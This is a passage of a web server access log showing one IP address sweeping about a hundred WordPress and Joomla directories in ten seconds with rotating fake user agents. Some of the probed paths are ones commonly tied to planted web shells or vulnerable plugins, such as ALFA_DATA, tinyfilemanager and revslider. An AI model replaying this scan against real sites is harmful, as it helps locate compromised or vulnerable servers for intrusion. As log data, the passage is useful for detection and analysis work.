Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:13 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/js/jquery/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:14 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /autoload_classmap/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /components/com_jea/views/form/tmpl/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /templates/beez/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:15 +0300] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-content/plugins/up/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:16 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /images/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-content/themes/twentytwentythree/patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-content/cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:17 +0300] "GET /wp-includes/random_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-content/plugins/phpadmin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-content/plugins/view-more/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.153.151.145 - - [17/Apr/2026:14:45:18 +0300] "GET /wp-content/plugins/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /blog/wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-content/themes/astra/inc/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-content/plugins/ccx/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-includes/Requests/src/Exception/Http/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /wp-content/themes/twentytwentytwo/assets/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:19 +0300] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /blog/wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /.bod/.ll/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-content/themes/twentytwentytwo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:20 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/bk/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-content/themes/hello-element/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:21 +0300] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-content/themes/sky-pro/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /img/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:22 +0300] "GET /components/com_newsfeeds/models/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /.trash7309/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:45:23 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 